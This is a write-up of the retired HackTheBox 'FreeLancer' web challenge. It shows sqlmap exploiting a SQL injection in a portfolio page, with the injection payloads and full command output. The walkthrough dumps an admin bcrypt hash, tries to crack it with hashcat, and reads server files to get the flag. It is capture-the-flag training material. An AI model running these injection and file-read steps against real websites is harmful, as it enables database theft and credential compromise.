5 minutes
FreeLancer
Note to fellow-HTBers: Only write-ups of retired HTB machines or challenges are allowed.
Challenge info ¶
FreeLancer [by IhsanSencan]
Can you test how secure my website is? Prove me wrong and capture the flag!
The challenge ¶
We start by launching the instance of the web application. This spawns a docker instance which is accessible without VPN.
The web applications looks like a typical portfolio website of a freelancer.
The menu items at the top make the browser scroll to the relevant section.

Looking at the contact form ¶
The contact form at the bottom looks like an interesting first target, as this handles user input, which often might lead to some form of injection or scripting.
Trying to send something in the contact form results in an error message about the server not responding. The Name value is reflected but — even if exploitable — this would only lead to a Reflected XSS.
Busting directories ¶
Let’s run dirbuster in the background to see if we can find anything interesting hidden elsewhere on this website.
Running dirb twice, once without extensions and once with the .php extension results in the following paths to be discovered.
/img/
/css/
/js/
/mail/
/vendor/
/administrat/
/administrat/index.php
/administrat/logout.php
/administrat/panel.php
/administrat/include/
/portfolio.php
Admin portal ¶
The /administrat/
path definitely looks interesting. The name seems to reveal that this is an admin portal.
The admin portal is protected with a login form. Testing this form quickly reveals that it might be leaking information on the existance of the username, which would allow someone to bruteforce usernames based on the error message.

However, running Burp with the included username list and the Honeypot-captures from SecList doesn’t seem to recover a valid username.
Look at the source ¶
Let’s revert back to the basics of web app pentesting and have a look at the source of the index page.
Looking closely at the section near the images, it appears that there is or was a plan to include links to various portfolio items. These links have been commented out.

Whenever I see IDs in a URL, I think about injection. So let’s launch SQLmap and try to see if there’s an injection point here.
And we find that this param is indeed vulnerable and that the back-end DBMS is MySQL.
$ sqlmap -u http://docker.hackthebox.eu:31749/portfolio.php?id=1 -p id
# [...]
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 61 HTTP(s) requests:
---
Parameter: id (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1 AND 2315=2315
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1 AND (SELECT 3863 FROM (SELECT(SLEEP(5)))ScHp)
Type: UNION query
Title: Generic UNION query (NULL) - 3 columns
Payload: id=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7171767071,0x73666f586c5448666e5862584a6e76787750764250436273565544486e544f6b4454776d6f454e54,0x716a6b7071)-- cIwp
---
[17:50:49] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.0.12
Using some further reconnaissance, we discover that there’s a freelancer
database, containing a portfolio
and safeadmin
tables. The first one containing some data for the portfolio pages and the latter containing a user credential.
$ sqlmap -u http://docker.hackthebox.eu:31749/portfolio.php?id=1 -p id --dbs
[17:51:55] [INFO] fetching database names
available databases [4]:
[*] freelancer
[*] information_schema
[*] mysql
[*] performance_schema
$ sqlmap -u http://docker.hackthebox.eu:31749/portfolio.php?id=1 -p id -D freelancer --tables
[17:52:39] [INFO] fetching tables for database: 'freelancer'
Database: freelancer
[2 tables]
+-----------+
| portfolio |
| safeadmin |
+-----------+
$ sqlmap -u http://docker.hackthebox.eu:31749/portfolio.php?id=1 -p id -D freelancer -T safeadmin --columns
[17:54:51] [INFO] fetching columns for table 'safeadmin' in database 'freelancer'
Database: freelancer
Table: safeadmin
[4 columns]
+------------+--------------+
| Column | Type |
+------------+--------------+
| created_at | datetime |
| id | int(11) |
| password | varchar(255) |
| username | varchar(50) |
+------------+--------------+
$ sqlmap -u http://docker.hackthebox.eu:31749/portfolio.php?id=1 -p id -D freelancer -T safeadmin -C username,password --dump
[17:55:03] [INFO] fetching entries of column(s) 'password, username' for table 'safeadmin' in database 'freelancer'
Database: freelancer
Table: safeadmin
[1 entry]
+----------+--------------------------------------------------------------+
| username | password |
+----------+--------------------------------------------------------------+
| safeadm | $2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K |
+----------+--------------------------------------------------------------+
Cracking ¶
Let’s attempt to crack this hash.
Let’s first run hashid
to figure out which type of hash this is.
$ hashid
$2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K
Analyzing '$2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K'
[+] Blowfish(OpenBSD)
[+] Woltlab Burning Board 4.x
[+] bcrypt
Since this is appears to be a bcrypt(Blowfish) hash, we run hashcat with mode 3200.
$ hashcat -a 0 -m 3200 '$2y$10$s2ZCi/tHICnA97uf4MfbZuhmOZQXdCnrM9VM9LBMHPp68vAXNRf4K' --force /usr/share/wordlists/rockyou.txt
Get ready to wait a looooong time on the results of this.
Back to SQL ¶
Since we have a working SQL injection, why not try to exploit this further?
My first attempts at using SQLmaps’s --os-cmd
, --os-pwn
and --priv-esc
failed, as did my attempt at adding a new user entry via --sql-shell
.
However, there was one command that did eventually led me to success: --file-read
!
$ sqlmap -u http://docker.hackthebox.eu:31749/portfolio.php?id=1 -p id --file-read /etc/apache2/sites-enabled/000-default.conf
# [...]
[18:04:52] [INFO] fetching file: '/etc/apache2/sites-enabled/000-default.conf'
do you want confirmation that the remote file '/etc/apache2/sites-enabled/000-default.conf' has been successfully downloaded from the back-end DBMS file system? [Y/n] n
files saved to [1]:
[*] /home/user/.sqlmap/output/docker.hackthebox.eu/files/_etc_apache2_sites-enabled_000-default.conf
$ cat /home/user/.sqlmap/output/docker.hackthebox.eu/files/_etc_apache2_sites-enabled_000-default.conf
# [...]
# Looks like the website's files are located here
DocumentRoot /var/www/html
# [...]
Getting the flag ¶
We now know that we can read files on the filesystem, that the root of the web application is at /var/www/html
and that we probably want to see the contents of the file at docker.hackthebox.eu:31749/administrat/panel.php
$ sqlmap -u http://docker.hackthebox.eu:31749/portfolio.php?id=1 -p id --file-read=/var/www/html/administrat/panel.php
# [...]
[18:08:08] [INFO] fetching file: '/var/www/html/administrat/panel.php'
n
files saved to [1]:
[*] /home/user/.sqlmap/output/docker.hackthebox.eu/files/_var_www_html_administrat_panel.php
$ cat /home/user/.sqlmap/output/docker.hackthebox.eu/files/_var_www_html_administrat_panel.php
# [...]
<body>
<div class="page-header">
<h1>Hi, <b><?php echo htmlspecialchars($_SESSION["username"]); ?></b>. Welcome to our site.</h1><b>[Logout](logout.php)</b>
<br><br><br>
<h1>HTB{s4ff_***_3}</h1>
</div>
</body>
This was a very nice challenge that gave me much more insight into the capabilities of a tool like SQLmap.
It might be possible that the initial road to success was a different one, but I’m very pleased with the path I found to finish this challenge.